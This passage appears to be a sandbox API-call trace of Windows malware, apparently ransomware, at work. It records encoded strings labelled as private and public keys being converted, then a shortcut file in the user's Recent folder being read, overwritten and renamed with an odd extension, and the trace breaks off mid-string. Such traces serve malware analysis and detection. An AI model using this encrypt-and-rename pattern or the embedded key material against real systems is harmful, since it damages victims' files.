lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.042] GetCurrentThreadId () returned 0xa30 [0082.042] GetCurrentThreadId () returned 0xa30 [0082.042] GetCurrentThreadId () returned 0xa30 [0082.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.043] GetCurrentThreadId () returned 0xa30 [0082.043] GetCurrentThreadId () returned 0xa30 [0082.043] GetCurrentThreadId () returned 0xa30 [0082.043] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mSDpfr6aM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\msdpfr6am.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.043] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.043] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.044] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x144d [0082.044] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.044] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x144d, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x144d, lpOverlapped=0x0) returned 1 [0082.045] CloseHandle (hObject=0x124) returned 1 [0082.045] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mSDpfr6aM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\msdpfr6am.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.047] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x144d, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x144d, lpOverlapped=0x0) returned 1 [0082.050] CloseHandle (hObject=0x124) returned 1 [0082.051] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mSDpfr6aM.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\msdpfr6am.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mSDpfr6aM.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\msdpfr6am.lnk.zv7un")) returned 1 [0082.053] GetCurrentThreadId () returned 0xa30 [0082.053] GetCurrentThreadId () returned 0xa30 [0082.053] GetCurrentThreadId () returned 0xa30 [0082.053] GetCurrentThreadId () returned 0xa30 [0082.053] GetCurrentThreadId () returned 0xa30 [0082.053] GetCurrentThreadId () returned 0xa30 [0082.053] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf0c2820, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe38c41a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe38c41a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="My Music.lnk", cAlternateFileName="MYMUSI~1.LNK")) returned 1 [0082.053] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.053] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.053] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Music.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my music.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf0c2820, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe38c41a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe38c41a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x52a)) returned 1 [0082.053] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Music.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my music.lnk")) returned 0x20 [0082.053] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Music.lnk", dwFileAttributes=0x80) returned 1 [0082.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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